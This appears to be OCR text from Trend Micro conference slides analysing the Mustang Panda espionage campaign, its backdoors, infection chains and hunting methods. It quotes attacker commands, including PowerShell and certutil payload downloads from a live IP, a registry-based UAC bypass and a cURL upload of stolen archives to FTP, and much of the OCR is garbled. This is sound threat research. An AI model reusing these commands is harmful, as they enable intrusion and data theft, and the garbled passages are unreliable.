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Who are we?

Nick Dai Sunny W Lu Vickie Su

We are threat researchers at Trend Micro.
We are responsible for tracking and detecting APT attacks within APAC region.
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Campaign Investigation




All starts from an email...
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From: attacker@gmail.com / abused victim's email addresses
To: victims' email addresses / fake email address
Cc: victims' email addresses

https://drive.google.com/uc?id=xxxxx

xxx&export=download @
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Lateral
Movement

. Code Internal Strings
File

Execution 0x9 Stor TOnePPeShell
OxA Stop TOnePipeShell
0x4 Upload file begin
0x5 Upload file write
0x7 Upload file cancel
0x6 Upload file Endup
File :
0x3 Create TOnePipeShell

Download
Table. Command codes in TONESHELL variant A
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The implant will then collect the following information from the endpoint and send it to the C2:

* Volume serial number, which it obfuscates by adding 0x12345678. The final result is sent to C2.
* Retrieves the computer name and username and length.

* Retrieves the uptime of the host.

3 ecx

ext:00401D9 eax, eax

ext:00401D99 j short loc_401DB9

ext:00401D9B edx,

ext:00401DA0 i eax, edx, 0

ext:00401DA3 ecx, [ebp+arg 0]

ext:00401DA6 byte ptr [ecx+eax)
edx, 1

T H R E AT EE:; ?qbp*a:g 0] .

ptr (eax+edx),

/, loc_401DB9: ; CODE XREF: mw_get compname username w lengths+29t1j
] ecx, [ebp+arg 0]
) ecx
] fn_length_calc ; calcs length of CompName
) .

esp, 4
. 1FFh
edx, eax
1

v
[ebp+var 8], edx
eax, [ebp+arg 0]
oax

fn_length_calc ; calcs length of CompName
esp, 4
ecx, [ebpt+arg 0]
edx, [ecx+eax+l]
[ebp+var_4], edx
[ebp+var 8]

[ebp+var 4]

100401DF0 [ebp+var )

Mustang Panda deploys a new wave of malware targeting :
Furope it e feeenh

ecx i calls GetUserName
eax, eax
short loc_401E20
edx,
[Walek 1, K ' edx, 0
(ebp+var_4)
ptr [ecx+eax)
H 1
EH 0
[ebp+var_ 4]
byte ptr [eax+edx], 0
THREAT ADVISORY
loc_401E20: ; CODE XREF: mw_get_compname username w_lengths+390t1j
ecx, [ebp+arg_0)
ecx
fn_length _calc ; cales length of CompName
asp, 4
esi, eax
odx, [ebp+var 4)
dx

e
fn_length_calc ; cales length of UserName
esp, 4
eax, [esi+eax+2)
ext:00401E3E ecx, [ebp+arg 4]
ext:00401E41 [ecx], eax ; saves_total_length

Implant collecting system information to send to the C2

8| ©2023 Trend Micro Inc.




Name Offset Size Description

magic 0x0 0x3 17 03 03
size 0x3 0x2 Payload size
type 0x5 Ox1 Connection type, 0x0 or Ox1
unique_id 0x6 Ox4 Victim ID
payload 0x10 size Payload

Table. TONESHELL variantA

Name Offset Size Description
magic 0x0 0x3 17 03 03
size 0x3 0x2 Payload size
payload 0x5 size Payload

Table. The bespoke stager from Cisco Talos report,
detected as PUBLOAD in Trend Micro
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Cyber espionage

* Diplomaticmissions
* Military personnel
e Political party
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e United
States

* Mongolia

* Myanmar

* Japan

PlugX
Poisonlvy
Cobalt Strike
NBTscan
RCsession

India
Taiwan
Australia
South Africa







® Government/legal 83.90%

TOTAL Education 6.90%
597 Business/economy 6.20%
® Politics 2.20%

® Others 0.80%

M High Low
Medium None
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Arrival
vectors

Privilege

Discove ;
Y escalation

o Lo [Eq

« PUBLOAD * net.axe
» TONEINS

» TONESHELL

« Qobalt Strike

« OMAGENT

@ TREND:
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Arrival Vectors

Secret

Agreed Minutes
9*Thailand-Myanmar Senior Staff Talks
4™ August 2022
Bangkok, Thailand
Introduction
The 9* Thailand-Myanmar Senior Staff Talks (SST) co-chaired by Licutenant
General Chitchanok Nujjaya, Director of Joint Operations, Royal Thai Armed
Forces Headq and L General Aung Soe, the Commander of No. (4)

Bureau of Special Operations, Office of the Commarjder-in-Chief (Army) was held
from 3%- 5®August 2022 in Bangkok, Thailand.

Item 1: Opening Remarks

Licutenant General Chitchanok Nujjaya, Thai co-chairan and
Licutenant General Aung Soe, Myanmar co-chairman delivered their speeches,
introduced their respective delegates (Opening Remarks and Names of the
delegates are attached in Annex-I (Thailand) and Annex-1I (Myanmar)) and gave
guidance to the meeting.

Item 2: Adoption of the Agenda

The Meeting adopted the Agenda of the 9 SST Meeting which appears
as Annex 11

Item 3: Matters of Acknowledgement

3.1 Review of 8" SST Agreed Minutes & Activities
Progress Report of the Decisions Taken during the 8* Myanmar -
Thailand SST was reviewed by both sides and agreed that all incomplete items
were to be considered as action items of this SST.
3.1.1 Border Security
3.1.1.1 Three Pagodas Pass Area / Phayar Thonzu
3.1.1.2 Revetments along the bank of Moei / Thaungyin River
3.1.2 Cooperation on Education, Exercises and Training
3.1.3  Cooperation on Agriculture and Li k Devel
3.1.4 Exchange of Visits
3.1.5 Cooperation on Military Sports Events
Secret

P
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Arrival Vectors

ﬂ DLL Sideloading I Fake File Extension c

o |

N | TONESHELL = | TONESHELL 8 amacenT (MQsTTang)
@ | PUBLOAD ﬁ ¢ MIROGO

=] (=] © | TONESHELL

kT N N

)

6

o
'@
_‘

TONESHELL

TONESHELL

DLL Embedded in DOCX

2022 Ma
2022 Oct
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Arrival Vectors

DLL Side Loading

=

a
=

‘ Side-load

Rename and drop

PUBLOAD
S TONESHELL

=
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Arrival Vectors

Shortcut Links

E—
.:-
A
| \

‘ Execute

S TONESHELL
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Arrival Vectors

Fake File Extensions

Install and
rename . | :

TONEINS
TONESHELL
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Arrival Vectors

DLL Embedded in DOCX

A

= EXE DLL
, install

and rename | :

0 TONEINS
0 TONESHELL
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Arrival Vectors

DLL Embedded in DOCX

Wamings
There are some data after the end of the payload data

ar frFileN

uchar frData|

form eratio
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Arrival Vectors

Standalone Executable

I Contain Connect ; C&C

QMAGENT
(MQsTTang)
MIROGO
TONESHELL
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Arrival Vectors

TONESHELL var. A m

Raw TCP Raw TCP+RC4 HTTP HTTP

Sep ‘ July 2023 Jan ‘ Mar
2021 , 2022 May ’ Nov , Feb ,

With an installer TONEINS Standalone EXE
HTTP Raw TCP+XOR

TONESHELL var. C TONESHELL var. B

Raw TCP+XOR

TONESHELL var. B

MQTT

22 | ©2023Trend Micro Inc.



Arrival Vectors

Table A. TONESHELL variant A (TCP)

Name Offset Size Description Table C. PUBLOAD variant A (TCP)

magic 0x0 0x3 17 03 03 Name Offset Size  Description
size 0x3 0x2 Payloadsize magic 0x0 0x3 17 03 03
type 0x5 Ox1 Connection type, 0x0 or Ox1 size 0x3 0x2 Payload size

unique_id 0x6 0x4 Victim ID payload 0X5 [size] Payload

payload 0x10 [size] Payload

Table D. PUBLOAD variant B (HTTP)
Table B. TONESHELL variant B (TCP) Name Offset Size Description
Description HTTP headers 0x0 sz Legit-looking HTTP
headers

magic 0x0 0x3 17 03 03 magic Sz 0x3 17 03 03
size 0x3 0x2 Payload size size sz+ 0x3 0x2 Payload size
ke — Dt 3250y teXOR ey payload sz + 0x5 [size] Payload

payload 0x25 [size] Payload
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Arrival Vectors

QMAGENT (MQsTTang)

C&C server

|

MQTT Broker

Compromised
machine

=erver: publish

-l
T

iotfvZ/<Unigue | D
publish command

Keepalive message

iot/server2: publish

N

€= e e = e - - = - - - = -

» MQsTTang:

command output

= - e - - === — -

Upon first connecting to the broker, the malware subscribes to its unique topic. Then, and every 30 seconds
thereafter, the client publishes a KeepAlive message to the server’s topic. The content of this message is a JSON

object with the following format:

"Alive": "<malware’s uptime in minutes=",
"c_topic": "<client’s unique topics"

When the server wants to issue a command, it publishes a message to the client's unique topic. The plaintext
content of this message is simply the command to be executed. As shown in Figure 5, the client executes the
received command using QFrocess: : startCommand from the Qt framework. The output, obtained using

QProcess: :readAllStandardOutput, is then sent back in a JSON object with the following format

"c_topic": "<client’s unique topics",
"ret": "<Command outputs"

Mustang Panda’s latest backdoor treads new ground with Qt and MQTT by ESET
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https://www.welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt/

Arrival Vectors

MIROGO

Delivered via spear phishing email

[#] github_com_ken_win_init_13
|E| main_main

|E| rmain_rmycalll

|z| main_mycall2

|z| main_sxcuteCmdLline

[#] main_GetCmdLine 1 1
|z| main_GetCrmdLine_funcl Bypa SS AV p ro d u Ct S IVI ADAV
|z| main_getSysinfo
|z| main_single2
|z| main_mysleep
|z| main_randURI
|z| main_randHost
|z| main_randUA

e, « Command execution
|z| main_zipFiles

|z| rmain_zipFiles_func3
[ o e e * Set up fileless PowerShell backdoors in
|z| main_randomkeys
|z| main_WndProc

7] mein. Moin_bypassSMADAV scheduled tasks

|z| type_eq_main_lson_msg -

Backdoor written in Golang

Capabilities
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Arrival Vectors

 Fewres | ovAGevT(MosTang) | wRoG
Spear-phishing emails Spear-phishing emails
| Firstseen | Jan. 2023 Feb. 2023
b'nasa’ b'NASA'
Base64 + XOR + Base64 XOR + Baseb4
{

{
C&C response body "msg": "<payload>" "msg": "<payload>"

} }
Table. Similarities and differences between QMAGENT and MIROGO
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Privilege
Escalation

Detection / Name Description

: *  Bypass UAC by hijacking the protocol "ms-settings"
. 2.AB
HackTool. Win32.ABPASS * Reuse codes from UACME's "ucmShellRegModMethod3"

* Bypass UAC by hijacking the protocol "ms-windows-store"

HackTool Win32.CCPASS Reuse codes from UACME's "ucmMsStoreProtocolMethod"

* Bypass UACby abusing a native Windows service SilentCleanup
SilentCleanup * Ithijacks the environmentvariable %windir% and trigger the service to execute the
specified command.

Table. List of privilege escalation hacktools

' J C:\Windows\SysWOW64\reg.exe add hkcu\Environment /v windir /d “cmd /c
Il c:\users\public\1.Exe&reg delete hkcu\Environment /v windir /f && REM”

® C:\Windows\SysWOWe64\schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
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Lateral

Movement

e Worm.Win32.HIUPAN
e BackdoorWin32.ACNSHELL

EXE

USB Driver.exe

l Sideloads

HIUPAN Reads

Installed?

Copies files to %programdata%
' and renames USB Driverexe to
= >< E disk_watch.exe

Adds a registry run key for

@ disk_watch.exe

Creates
reverse shell

u2ec.dll

& /|

ush.ini

No Sideloads « |aowsHeLL |
> |[EXE o @
—
DateCheck.exe rzlogdcpp.dil
3 Infects removable disk and

Yes @: copies files to autorun.inf

> Always Another Secret: Lifting the Haze on China-nexus Espionage in Southeast Asia from Mandiant

» Family Tree: DLL-Sideloading Cases May Be Related from Sophos
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https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia
https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/

Command and Control

e PowerShell
e CertUtil
e Backdoor.Win32.CLEXEC

— Clear event logs and execute commands

* Backdoor.Win32.COOLCLIENT

— Manipulate files, send portmap and record keystrokes

e BackdoorWin32.TROCLIENT

— Manipulate files and record keystrokes
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2022-06-16 05:54:10 C:\Windows\SysWOW64\cmd.exe /c powershell.exe —ExecutionPolicy bypass —noprofile (new-object

system.net.webclient).downloadfile(‘http://103.159.132.181/1.txt" c;\users\public\1.exe’);

C:\Windows\SysWOW64\cmd.exe /c powershell.exe —ExecutionPolicy bypass —noprofile (new-object
system.net.webclient).downloadfile(*http://103.159.132.181/2 txt’/c:\windows\tasks\libcef.dIl’);

2022-06-16 05:54:10

C:\Windows\SysWOW64\cmd.exe /c powershell.exe —ExecutionPolicy bypass —noprofile (new-object

2022-06-16 05:57:15
system.net.webclient).downloadfile(‘http://103.159.132.181/1.rar’/c:\users\public\1.rar’);

C:\Windows\SysWOW64\cmd.exe /c powershell.exe —ExecutionPolicy bypass —noprofile (new-object
system.net.webclient).downloadfile(‘http://103.159.132.181/UC.rar’/c:\users\public\UC.rar’);

2022-06-16 06:22:09

C:\Windows\SysWOW64\cmd.exe /c powershell.exe —ExecutionPolicy bypass —noprofile (new-object
system.net.webclient).downloadfile(‘http://103.159.132.181/3.rar’/c:\users\public\3.rar’);

2022-06-16 06:22:09

Figure. PowerShell commands for downloading next-stage payloads

[ W C:\Windows\SyswOWe64\certutil.exe —urlcache —split —f http://103.159.132.91/rar.exe
c:\users\public\rarl.exe

Figure. Using certutil.exe to download a WinRAR binary
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Myanmar's own homepa: x = +

A 103.159.132.181
< &

Set as home page || Bookmark our website |

Google

Video website

Youtube Bilibili Myanmar TV Channel Break watch-free DOGO Movies Cartoon HD ShowTime Hollywood Thepiratebay
Adult movie
Xvideos Pornhub XNNX Rediube ThePormDude Shooshtime Hardsextube Hustlertube Spankwire Youjizz

Social networking sites

facebook twitter Website is collecting ...
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COOLCLIENT vs. TROCLIENT

Argument / Behaviors COOLCLIENT TROCLIENT

Create a service named “InstallSvc” v V
install Execute itself with “passuac” Vv Vv
Set Run Key with “work/online” V \Y

Applnfo RPC Vv

passuac CMSTPLUA COM Vv
Token Manipulation Vv

Send portmap

Connect to C&C V

work /online _ _
File operations

< < < <

Keylogging

32 | ©2023 Trend Micro Inc.



Figure. Shellcode in Worm.Win32.HIUPAN

Figure. Shellcode in Backdoor.Win32.TROCLIENT

8F45 FO pop dword ptr ss:[ebp-10] el s A o Glodira] [UF S5 Saliedy
8365 EB 00 and dword ptr ss:|[lebp-18],0 : . 23637“ o0 j-‘;,‘i ;“;85@-.‘4"” ss:fiebp-154.0
EB 07 jmp 1D0054 L 0 8B45 EB mov eax,dword ptr ss:[lebp-18]
8645 ES8 mov eax,dword ptr ss:[lebp-18] 0 40 iAc eax
40 inc eax 0 8945 EB mov dword ptr ss:[lebp-18],eax
8945 E8 mov dword ptr ss:[lebp-18],eax 0 817D E8 FFFFO000 |cmp dword ptr ss:[ebp-18],FFFF
817D E& FFFFO000 cmp dword ptr ss:[lebp-18],FFFF 0 ~ 7D 59 jge 5DO0B6
7D 59 jge 1D00BG 0 8845 FO mov eax,dword ptr ss:[febp-10]
8845 FO mov eax,dword ptr ss:[febp-10] 0 0345 E8 add eax,dword ptr ss:[lebp-18]
0345 EB add eax,dword ptr ss:[ebp-18] 0 OFB600 movzx eax,byte ptr ds:[eax]
OFBE00 movzx eax,byte ptr ds:[eax] o 3D CCO00000 cmp eax,CC
3D €C000000 cmp eax,CC v 75 47 jne 3D00EA -
75 47 jne 1D00B4 0 SE1She T L e e
. e 0 E add eax,dword ptr ss:[ebp-18]
8B45 FO mov eax,dword ptr SS:[Ebp J'C.' 0 0FBG40 01 movzx eax,byte ptr ds:[eax+1]
0345 ES8 add eax,dword ptr ss:[ebp-18] 0 30 DDOOODOO e
b o [ p eax,DD
OFBEG40 01 movzx eax,byte ptr ds:[eax+1] 0 . 75 318 jne 5D00B4
_%D ooo00000 cmp eax,DD 0 8B45 FO mov eax,dword ptr ss:[lebp-10]
75 36 jne 1D00B4 _ 0 0345 EB add eax,dword ptr ss:|[ebp-18]
mov eax,dword ptr ss:[[ebp-10] 0 OFB640 02 movzx eax,byte ptr ds:[eax+2]
add eax,dword ptr ss:[ebp-18] 0 3D EEQCO000 cmp eax,EE
movzx eax,byte ptr ds:[eax+2] 0 v 75 25 jne 5D00B4 )
cmp eax,EE 0 8845 FO mov eax,dword ptr ss:[lebp-10]
ine 1D00E4 0 0345 EB add eax,dword ptr ss:[ebp-18]
eax,dword ptr ss:[lebp-10] OFB640 03 movzx eax,byte ptr ds:[eax+3]
eax,dword ptr ss:|lebp-18] & e FRECEELY CMpReax, L
eax,byte ptr ds:[eax+3] 0 « 75 14 jne 500084
! ) - 0 8B45 FO mov eax,dword ptr ss:[lebp-10]
[ 0345 E8 add eax,dword ptr ss:[ebp-18]
;dword ptr ss:|lebp-10] 4 L
005D0030
B4 Dump 1 Bybump?2 | BDump3 | @eDump4 | B4 Dump S 8 watch 1 | el Locals | 45
— = Address |Hex ASCIT
&0 Watch 1 | Ix=l Locals | &5 005D0AED |BA 00 FF 75[F4 FF 55 9068 00 80 00|00 6A 00 FF|[J.yudyu.h....J.¥
ASCII 005D0DAFO|75 F4 FF 95|70 FF FF FF|B3 65 90 00|5F 5E 5B C9|udy.pyyy.e.._A[E
- - - 005D0B00|C3 (€C DD EE|FF 4D 5A 90|00 03 00 00|00 04 00 OO|AX¥IyYMZ.........
6A 00 FF[J.yudyu.h....7.y 005D0B10|00 FF FF 00|00 B8 00 00|00 00 OO 00|00 40 00 00|.yy.......... ..
5E 3B €9|udy.pyyy.e.._A[E 005D0B20|00 00 OO0 00|00 00 OO0 00|00 00 00 00|00 00 00 00|..% ... eeeeeeen..
. ~ 04 00 00|AZVIyMZ......... 005D0B30|00 00 OO0 00|00 00 00 00|00 00 00 00|00 00 00 00|...veeeeeenennn.
001D0B1N UU UM 40 00 00| .¥¥.. ovenn.. a.. 005D0B40|00 08 01 00|00 OE 1F BA|OE 00 B4 09|CD 21 BB O1|....... CIURE. J
001D0OB20 00 00 ... .o e e en 005D0B50|4C €D 21 54 |68 69 73 20|70 72 6F 67|72 61 6D 20(Li!This program
001D0B30 00f. .. i i ans 005D0B60 |63 61 G6E GE|6F 74 20 62|65 20 72 75|6E 20 69 G6E|cannot be run in
001D0B40 ol|....... LI TR 005D0E70(20 44 4F 53|20 6D 6F 64 |65 2E OD 0D|0A 24 00 00| DOS mode....S..
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* MetSky.exe - PID: 534 - Module: rzlogdcpp_legger.dll - Thread: Main Thread 49C - x32dbg # USB Drive.exe - PID: EBS - Module: u2ec.dll - Thread: Main Thread 764 - :32dbg
s - - File View Debug Trace Plugins Favourites Options Help Jan 20 2019
OE i txw§ T B o #fx# 008 S5 E =0 & =94 T2 o & & fx# a B B @
By | B Graph |5'5—r Log | [ilnetes | @ Brezm":ts | 8 memorymep | () calstack | =msen | Lol B cru | Doraph | Lilog | LiNotes | @ Breakpoints | M MemoryMap | (J/calStack | SmseH | Lol Saip
push ebp
10001 581 8BEC mov ebp,esp 74FEL1EC 23 push ebp
10001 5 6A FF push FFFFFFFF __-,FEHE% gBEEF mGVheEE;_EiEFF
10001 54 68 40650010 push rz'log-lcpp_'lugﬁr.lOOOEE-lO __TE?U_E; 6’3 e R
Toiias 64 :A1 00000000 moy eax,dvord ptr [: [0] 74F611EA 64:A1 00000000 e e BT
10001590 push eax B - : )
ToooTian S 592 00000000 | mov 3‘;3”.‘ ptr [l: [0],esp TareiTrs T o | S prr [l: [01,esp
598 B oyl ppl . : )
10001598 8845 0OC mov eax,dword ptr ss:[ebp+c] __‘.F?HF':' %Ec 30010000 SUbheSE’BO
1000159E 53 push ebx [ = e FEBD B
1000159F 56 push esi _'EELEE < Eﬂzh ot
: 154 =z s 4 £ {
tE:E:E:tg:E 4é g:ihegih 74F61201 8965 FO mov dword ptr ss:[lebp-10]],esp
10001542 8965 FO mov dword ptr ss:[lebp-10],esp HIEETZ0], &8 2k sl e TR
100015 75 4A jne rzlogdcpp_logger.100015F1 __‘.F?i:g:g E‘g S0EBOBEA 8BC4 %mptfa'rl i-‘ﬁB-EADBEBm
100015 EB 14 Jmp rzlog4cpp_logger.1000156D __'.FEl:_O 74 06 EES 2a T —
10001549 EA SOEBOBEA 8BC4 |jmp far C48B:EAOBEBSO0 e e os iﬁp”ugg'c S
10001580 AB test al,1 S A ALl c VL
10001582 74 06 je rzlogdcpp_logger.1000156A EA BA6GOFDG 4424 | Jmp fgr 2;_146[133356634
10001584 EB OB imp rzlogdcpp_logger.100015cC1 EE EE gﬂ_lg gxeg:l =
10001586 EA BLG6OFDE 4424 mp far 2444:D60FGEEL 2 : .
10001580 EB EB %mp rzl 0?4cpp_'logger.100015AA EA 4C580F28 0500 JEE f_la.r D005 : 280F384C
100015BF EE out dx,a i % s g =FMF61135
1000150 EA 4C588B45 08A3 |jmp far A308:458B584C = Je u Ec-
100015C7 88AA O0LOESFO mov byte ptr ds:[edx-F17F000],ch pu }ﬂ%f p
St
tE:E:E:tEEE EE 0F1145 cC movups xmmword ptr ss:[ebp-34], xmm0
10001 5CF FF83 F8027534 inc dword ptr ds:[ebx+347502F8] E’g 38000000 PUSE 90
10001505 EB 14 jmp rzlogdcpp_logger.100015E8 = Push °
10001507 EA SOEBOBEA BBC4 |jmp far C48B:EAOBEBS0 Ei = pUSh .
10001 5DE A8 01 Test %11,1 ] 25 Eﬂéh .
100015E0 74 06 ie rzlog4cpp_logger.100015E8
10001 5E2 EE OB %mp rzlogdcpp_logger.100015EF Eg 00000200 PUSE 20000
1000154 EA B1660FDE 4424 |Jmp far 2444:DG0FG6EB1 B T i ptr ss:flebp-24f.5¢3
S 2 Es Jmp rzlogicpp_logger. 10001508 C745 EO 636C622E |mov dword ptr ss:[ebp-20].2E626C63
10001 c 4cs8sBeD F4SF | Jip Tar Sre:4DsBS8AC e
JO015F5 op esi £ :
10001 5F6 BE& 01000000 np“]\p‘, eax,l gglg ggDOFﬁrf-‘- call dWOEd ptr ds: [<&GetLastError>]
100015FB 64:890D 00000000 |mov dword ptr Jl:[0],ecx . 0F54 S e ;ne]pugzi’mrﬁum
Honeee EE - pop ebx . 68 CB27F77 push uZec.74F727C8

Figure. Similar obfuscations are used in HIUPAN (left) and TROCLIENT (right)
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WInRAR + cURL

* Use cURL (log.log) to upload exfiltrated files to the actor-controlled

FTP servers

Filename Filesize Filetype Last modified v Permission ¢

in-C.rar 3.3 MB rar-file Htt—FE+—-BE8 +ABtth9ea7# ~TWXFWXT...
-JOTOSBH-d.rar 3.2 MB rar-file HH=—F+"AH8 +AHBT—Sh# “TWXTWXT...
-JOTOSBH-C.rar 607.1 MB rar-file -+ —-—BRB8 +aBt9+=# “TWXTWXT...
-9M48HSI-E.rar 16.7 MB rar-file it =—F+"A88 +=805a# “TWXTWXT ...
-9M48HS5I-C.rar 263.1 MB rar-file HH=—&+="BR8 +Z8OS % -TWXTWXT...
rtinez-c.rar 127.1 MB rar-file Ht=—F+=-BAH8 +—8Bs39+¥ “TWXIWXT...

2.3 MB rar-file HH—FE+"B A8 +—84e639# -TWXIWXT...

774.2 MB rar-file HH-E+"818 +—84695 "% -TWXTWXT...

151.3 MB rar-file -+ _-8B18 +—642953% TWXTWXT...

1.5GB rar-file HtH-—F+"B18 +—8BiH—2"# “TWXTWXT...

-4NASSUC-D.rar 38.8 MB rar-file -+ -8B 18 +8tt—4938¥ “TWXTWXT ...
-4NASSUC-c.rar 46.8 MB rar-file Htt—FE+_—_B A H +65tt558% “TWXIWXF...
-QVCB1ll-c.rar 254.7 MB rar-file -+ "AR8 +8t939% -TWXTWXT...
-00H70NL-c.rar 1.1 GB rar-file Htt=—&E+=-B 158 hE399tthP “TWXTWXT...
d.rar 428.1KB rar-file HH—FE+-"8-8 +—B549/\¥ TWXIWXT...

C:\ProgramData\IDM\log.log —progress-bar —C —T C:\ProgramData\IDM\<redacted>.RAR
ftp://<user>:<pass>@<upload_ip>/
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NUPAKAGE & ZPAKAGE

* Have some features in common

- Need a unique passcode to be executed

- Exfiltrated datais wrapped in a custom file format
* Drop 2 files

- xxx.zip: a logging file with a fake ZIP header

— xxx.z: the exfiltrated data
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Logging File

* An example of the logging file from HackTool.Win32.NUPAKAGE

[+] Program ready!
[+] FILE ORIGINAL PATH: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf

[+] FILE PATH SIZE: 198

[+] FILE ORIGINAL SIZE: 186837

[+] FILE COMPRESSED SIZE: 183734

[+] FILE ORIGINAL PATH: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf
[+] FILE PATH SIZE: 210

[+] FILE ORIGINAL SIZE: 186837
[+] FILE COMPRESSED SIZE: 183734

00 00 08 00 D8
00 04 00 00 08

( FF FB 13
42 gF !

<omitted>

[*] File or folder access denied!
[*] File or folder access denied!
[+] A1l completed!

[+] Program read
/1. [+] FILE
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Threat Hunting




Threat Hunting

* Google Drive links
e Artifacts hidden in malware

e Malware traffic
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Google Drive Links

ITW Urls (2) B

Scanned Detections Status URL
https:/idoc-0g-94-

2022-08-16 0788 200 docs.googleusercontent. comidocs/secureschalro937 gouc? 7 deffksulhgsh7mbp 1/g0nagthft7 154f3erbndadlcZnugedj1660614600000/06
930661513907651047 1 xNyYw3floaiVUHTzxY-ICOgJLsSmfSGg?e=download&uuid=5%c2d87 4b-45e4-4cfl-Sede-7 4ffc33395af
2022-08-16 0788 200 hitps:/idrive google.comfuc?id=1xNyYw3floailWVUHTzxY-ICOgJLs5mfS Gq&export=download
Figure. An example of the Google Drive linkin the wild
https://drive.google.com/uc?id=gdrive_file_id&export=download Sharing

Can View

Phyo Kyaw Thet Cwner

phyokyawthetl 985 gmail.com

Figure. File owner in the details pane
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Artifacts Hidden in Malware

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY

Contacted Domains (1) ©

Domain Detections Created Registrar

time windows.com 0/95 1995-09-11 MarkMonitor Inc.
Contacted IP Addresses (1)

IP Detections Autonomous System Country
40.119.148.38 0/95 a075 ML

Figure. ATONEINS sample without any relation
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Artifacts Hidden in Malware

File System Actions

Files Opened

C:\Program Files (x86"Commeon Files\Oracle\Java\javapath!

C\UsersWirtual\AppData'\Local\Temp'8b956e8669d 1bad9b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a dll
C\lUsers\userDesktoptattachment.dll

C:\Users\user\Desktop\attachment.dll. 123 Manifest

C\UserswserDesktoptattachment.dll. 124 Manifest

C\Userswser'Desktoptattachment dil. 2. Manifest

CUserswserDesktopirundll32 exe~3Evidence information. docx

C\Users\wserDesktoptrundll32 exe~3Llist of terrorist personnel at the border docx

C:AWindows\AppPatchisysmain.sdb

Figure. Names of the files dropped from TONEINS
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Artifacts Hidden in Malware

FILES 3/3
Sortby = Filter by - Export =
Delections Size First seen Last seen
SBOBEEA6ID1BA4OBA6CAT199638AERA1 2ADFTOS0O3CTICASEF3106329566DA58
2022-11-09 2022-11-09
3 ac ceb187efioe 7 72.vi f .
) 4echbabdceb1871efTocbbf3f7ddb372 . virus 23769 71400 KB 519152 31-91-62
EBackdoor_TOMESHELL_obfuscation  Trojan_TOMEINZ_strings  pedll
4761183BCEBFFI93A5551916EDATACE4BBEFIEADD24C4C19587045BB91 689083
. . 2022-01-11 2022-11-09
o B (8) a licanci [ alpaer axe /
@ (& @ adobe_lice nsing_wf_helper.exe 0172 39771 KB 185310 05-45-07
peexe mntime-modules signed overlay
826B30DAACEIBE530BADEAE10892036258268 208000078 2FB632CFFART 2BEETFE
. Y s \ers \ - N S . B : 2022-11-09 2022-11-09
o) -\Microsoft\Windows\INetCache\IF\RBIAZPTZ\List%280f%PBter rorist%eBpersonnel%2Batiz@the?@border[1].rar 0 /B0 985 73 KB
05:10:18 05:10:18
rar encrypied

Figure. Search the filename "List of terrorist personnel at the border".
The last file is a password-protected RAR archive.
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Artifacts Hidden in Malware

(/) No security vendors and no sandboxes flagged this file as malicious

826b3daac890853dbadb0810092d3625026b2d0d%al762fbb632cffl6T2beeife

ChlUserswsenAppData\LocalMicrosoftWindows\iNetCachelIE\ROIAZ PTZ\List% 200 20terrorist¥e2 0person
nel%20at%20the%20border[1).rar

encrypted rar

x Community Score W

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY

Execution Parents (1)

Scanned Detections Type Name
2022-11-0% 0/64 Office Open XML Document  Letter Head. docx

98573 KB
Size

2022-11-09 05:10:18 UTC
2 days ago
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Figure. Surprisingly, this password-protected archive has an
execution parent called "Letter Head.docx"




Artifacts Hidden in Malware
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0C o [

[J8eonteuyo(ginicceonngq o[36:

[gedeantemdiqmggiof(oiigs
o3[3:4s

329001 0 GGy 0 Qoo lzave 0 jo j )0

c

q90> §1JoJy 2§d (3390500 90>

[*]
20
o

PRRR3ady:
324][2002:0p0: )10 pR0066:8C (GO19]0166:6WI6a0CH DD
@e(opCimep  [§ierdceel 699 p5033¢(g[§: w§a mpdean

ofO o ¢ e OC
Q?Iﬂl'df'mmi ale oo (Myanmar Sustainable Development
Plan-MSDP)
[4coceq:nd
1 2https://drive.googIe.com/uc?id=1TQD_qOHQ‘

d9a-wiKeJL80oWs-8j-WAMGSQ&export=download
(Extracting passwords: 09-11-2022)

Figure. "Letter Head.docx" is a document embedded with a
Google Drive Link and a password.




Artifacts Hidden in Malware

Why does an RAR archive have an execution parent?
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Artifacts Hidden in Malware

& aboutblank =20 [Sere - 1BbCDC AaBBC( Aabt AaB '

3 Blank Page o R

0 i — !

@écm{,mgmﬁ;mﬁ&cvﬁa‘;zq i EB& E]
Geentondiqny fofldos j
ofrir oy

@39 1 BEq - oo f:aeq ( o)) ) N

Qo8 @1 o)) 948 DOODOCO Qb
g1 Jol 8

pooa
anmar
ASDP)
4: =1y
000000D0oDoOODO po-it
PR T [a 2 a [ a < Tal e J[e e e a a]a s 2 u} SbeT s Do you wsnt ta open or save List of terrori...sar (935 KE) from .-14-docs.googleusercontent.com ! bias
000000000000DOODOOO 0oooooooo (Myanmar Open Swe v Cancel
D PlanMSDP) oo
a0 3 = Myanmar
000000000000000htps-//drive:googls.comucde1T Sustainable Development Plan-MSOF) 0OD 0O0ODODO 00000O
9D_qOHQd9a-wiKeJL8OWs-8j- 0000000 0O00ODODODO0OOD 000000 (Living  Documenty
= e asswords: (00 00000000OCO0O00 O 000OCODOD 00000000 0ODO00O
WAMGSQ&export=download (Extracting passwords 09-11- 0000000000000000000000000000 MSDE ‘ot
20 oo ooac 0000000
Qa5 ao§: quodi s@h  0-0-10| qoddNemech oo/ oopone 9 n0-0-0000
B B3 A TRl A A 00000000ODOD  Hard  CopyfSoft  Copy  00ODOOOD
o8 ¥ (AR oopooon )
00D0000DODODO000DD
oooooooopooooo 000000000000000000000000 0opooo - (0)0000

000000000000 DO0DDDO0DDDOD00D0N0D0000000000 (Myanmar
Sustainable Development Plan-MSDP) DDD DOO0DDOOO OO0O0OOO0OO

ooooooo [s]s]sisls]u]ululs]s]s]als]a]s}] oooooo (Living Document)
00000ooooooooogd 0 DOODODDOODOO 00000000 O0O0oooooo
0000000000000000000000D00D00 MSDP oooo

Answer. The sandbox in VT triggers the link and IE downloads it silently in the background.
The file is temporarily downloaded to the cache folder:
